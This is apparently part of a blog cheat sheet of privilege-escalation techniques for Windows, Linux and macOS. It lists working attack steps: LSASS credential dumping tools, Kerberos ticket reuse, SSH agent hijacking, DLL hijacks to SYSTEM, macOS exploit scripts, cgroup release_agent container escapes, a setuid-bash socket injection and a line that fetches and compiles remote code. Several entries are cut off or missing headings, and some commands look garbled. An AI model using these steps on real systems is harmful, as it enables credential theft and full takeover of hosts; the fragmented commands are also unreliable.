



43 Methods for Privilege Escalation (Part 3)

In this article, we continue the article 43 methods for privilege escalation. If you haven't read the previous part yet, visit the blog.

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Dump Lsass with SilentProcessExit

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

1. SilentProcessExit.exe pid

Lsass Shtinkering

Domain: No

Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

1. HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps->2
2. LSASS_Shtinkering.exe pid



Local Admin: Yes

OS: Windows

Type: Enumeration & Hunting

Methods:

- AndrewSpecial.exe

CCACHE ticket reuse from /tmp

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- ls /tmp/ | grep krb5cc_X
- export KRB5CCNAME=/tmp/krb5cc_X

CCACHE ticket reuse from keyring

Domain: Yes

Local Admin: Yes



Methods:

- <https://github.com/TarlogicSecurity/tickey>
- /tmp/tickey -i

CCACHE ticket reuse from SSSD KCM

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- git clone <https://github.com/fireeye/SSSDKCMExtractor>
- python3 SSSDKCMExtractor.py -database secrets.ldb -key secrets.mkey

CCACHE ticket reuse from keytab

Domain: Yes

Local Admin: Yes

OS: Linux/Windows/Mac

Type: Enumeration & Hunting



- `python KeytabParser.py /etc/krb5.keytab`
- `klist -k /etc/krb5.keytab`

Or

- `klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab`
- `python3 keytabextract.py krb5.keytab`
- `./bifrost -action dump -source keytab -path test`

SSH Forwarder

Domain: Yes

Local Admin: Yes

OS: Linux

Type: Enumeration & Hunting

Methods:

- `ForwardAgent yes`
- `SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston`

AppleScript

Domain: No

Local Admin: Yes



Methods:

- (EmPyre) > listeners
- (EmPyre: listeners) > set Name mylistener
- (EmPyre: listeners) > execute
- (EmPyre: listeners) > usestager applescript mylistener
- (EmPyre: stager/applescript) > execute

DLL Search Order Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- <https://github.com/slaeryan/AQUARMOURY/tree/master/Brownie>
- Brownie

Slui File Handler Hijack LPE

Domain: No

Local Admin: Yes

OS: Windows



- <https://github.com/bytocode77/slui-file-handler-hijack-privilege-escalation>
- Slui.exe

CDPSvc DLL Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- Cdpsgshims.exe

Magnify.exe Dll Search Order Hijacking

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:



- Press Enter
- Press WinKey++(plusKey) on login screen which show password box.
- then payload dll will execute as SYSTEM access.

CdpSvc Service

Domain: No

Local Admin: Yes

OS: Windows

Type: Hijack

Methods:

- Find Writable SYSTEM PATH with acltest.ps1 (such as C:\python27)
- C:\CdpSvcLPE> powershell -ep bypass ".\acltest.ps1"
- Copy cdpsgshims.dll to C:\python27
- make C:\temp folder and copy impersonate.bin to C:\temp
- C:\CdpSvcLPE> mkdir C:\temp
- C:\CdpSvcLPE> copy impersonate.bin C:\temp
- Reboot (or stop/start CDPSvc as an administrator)
- cmd wil prompt up with nt authority\system.

HiveNightmare

Domain: Yes

Local Admin: Yes



Methods:

- HiveNightmare.exe 200

CVE-2021-30655

Domain: No

Local Admin: Yes

OS: Windows

Type: 0/1 Exploit

Methods:

- <https://github.com/thehappydinoa/rootOS>
- Python rootOS.py

CVE-2019-8526

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit



- Python main.py

CVE-2020-9771

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:

- <https://github.com/amanszpapaya/MacPer>
- Python main.py

CVE-2021-3156

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:



CVE-2018-4280

Domain: No

Local Admin: Yes

OS: Mac

Type: 0/1 Exploit

Methods:

- <https://github.com/bazad/launchd-portrep>
- `./launchd-portrep touch /tmp/exploit-success=`

Abusing with FileRestorePrivilege

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- `poptoke.exe`



Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- poptoke.exe

Abusing with ShadowCopyBackupPrivilege

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Abuse Privilege

Methods:

- poptoke.exe

Abusing with ShadowCopy

Domain: Y/N

Local Admin: Yes

OS: Windows



- poptoke.exe

Dynamic Phishing

Domain: Y/N

Local Admin: Yes

OS: Mac

Type: Phish

Methods:

- <https://github.com/thehappydinoa/rootOS>
- Python rootOS.py

Race Conditions

Domain: No

Local Admin: Yes

OS: Windows

Type: Race Condition

Methods:

- echo "net localgroup administrators attacker /add" > C:\temp\not-evil.bat



Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities

Methods:

- d=`dirname \${ls -x /s*/fs/c*/*/* | head -n1}`
- mkdir -p \$d/w; echo 1 > \$d/w/notify_on_release
- t=`sed -n 's/.*/perdir=\[\^\]*\).*/\1/p' /etc/mtab`
- touch /o; echo \$t/c > \$d/release_agent
- echo "#!/bin/sh" > /c
- echo "ps > \$t/o" >> /c
- chmod +x /c
- sh -c "echo 0 > \$d/w/cgroup.procs"; sleep 1
- cat /o

Escape only with CAP_SYS_ADMIN capability

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities



- echo 1 > /tmp/cgrp/x/notify_on_release
- host_path=`sed -n 's/.*/\perdir=[\^,]*\.*/\1/p' /etc/mtab`
- echo "\$host_path/cmd" > /tmp/cgrp/release_agent
- echo "#!/bin/sh" > /cmd
- echo "ps aux > \$host_path/output" >> /cmd
- chmod a+x /cmd
- sh -c "echo \\$\\$ > /tmp/cgrp/x/cgroup.procs"
- cat /output

Abusing exposed host directories

Domain: No

Local Admin: Yes

OS: Linux

Type: Abusing Capabilities

Methods:

- mknod /dev/sdb1 block 8 17
- mkdir /mnt/host_home
- mount /dev/sdb1 /mnt/host_home
- echo 'echo "Hello from container land!" 2>&1 >> /mnt/host_home/eric_chiang_m/.bashrc'

Unix Wildcard

Domain: No

Local Admin: Yes



Methods:

- `python wildpwn.py -file /tmp/very_secret_file combined ./pwn_me/`

Socket Command Injection

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

- `echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s`

Logstash

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:



```
exec {
```

```
    command => "whoami"
```

```
    interval => 120
```

```
}
```

```
}
```

UsoDlLoader

Domain: No

Local Admin: Yes

OS: Linux

Type: Injection

Methods:

- UsoDlLoader.exe

Trend Chain Methods for Privilege Escalation

Habanero Chilli

Domain: No

Local Admin: Yes



Methods:

- rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump

Padron Chilli

Domain: Y/N

Local Admin: Yes

OS: Windows

Type: Create a Reflective DLL Injector + Reflective DLL for dump lsass memory without touch hard disk

Methods:

- #.\inject.x64.exe <Path to reflective dll: .\LsassDumpReflectiveDLL.dll>

Jalapeno Chillies

Domain: Yes

Local Admin: Yes

OS: Windows

Methods: unhook NTDLL.dll + dump the lsass.exe as WindowsUpdateProvider.pod

Methods:



Domain: Yes

Local Admin: Yes

OS: Windows

Methods: SeImpersonatePrivilege + Abusing Service Account Session

Methods:

- <https://github.com/tyranid/blackhat-usa-2022-demos>
- Demo5.ps1

Finger Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: Abusing PrintNotify Service + DLL side-loading

Methods:

- As an administrator, copy winspool.drv and mod-ms-win-core-apiquery-l1-1-0.dll to C:\Windows\System32\spool\drivers\x64\3\
- Place all files which included in /bin/ into a same directory.
- Then, run powershell ..\spooltrigger.ps1.
- Enjoy a shell as NT AUTHORITY\SYSTEM.



Local Admin: Yes

OS: Windows

Type: Silver Ticket + I Know

Methods:

- <https://github.com/tyranid/blackhat-usa-2022-demos>
- Demo1.ps1

Red Cayenne

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Silver ticket + User to User Authentication

Methods:

- <https://github.com/tyranid/blackhat-usa-2022-demos>
- demo2.ps1

Birds Eye Chilli

Domain: Yes

Local Admin: Yes



Methods:

- <https://github.com/tyranid/blackhat-usa-2022-demos>
- Demo3.ps1

Scotch Bonnet

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Bring Your Own KDC

Methods:

- <https://github.com/tyranid/blackhat-usa-2022-demos>
- Demo4.ps1

Lemon Habanero

Domain: No

Local Admin: Yes

OS: Linux

Type: Capabilities



- sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
- ./ambient /bin/bash

Red Habanero

Domain: No

Local Admin: Yes

OS: Windows

Type: NtSetInformationProcess + DLL side-loading

Methods:

- BypassRtlSetProcessIsCritical.exe pid

Ghost Pepper

Domain: No

Local Admin: Yes

OS: Windows

Type: allow low privileged user accounts to create file system and registry symbolic links

Methods:

- PS C:\> \$code = (iwr https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs).content



- PS C:\> \$s.Open()
- PS C:\> echo "Hello World :D" > C:\Users\Public\Example\link
- PS C:\> type C:\ProgramData\target.txt
- Hello World 😊
- PS C:\> \$s.Close()

Chocolate Scorpion Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: Directory-Deletion + Windows Media Player d/s

Methods:

- <https://github.com/sailay1996/delete2SYSTEM>
- .\poc.ps1

Carolina Reaper

Domain: Yes

Local Admin: Yes

OS: Windows

Type: Creates an arbitrary service + PTH



- Demo6.ps1

The Intimidator Chilli

Domain: No

Local Admin: Yes

OS: Windows

Type: manipulate memory/process token values/NT system calls and objects/NT object manager

Methods:

- <https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools>
- Import-Module NtObjectManager
- Get-ChildItem NtObject:\
- NT*

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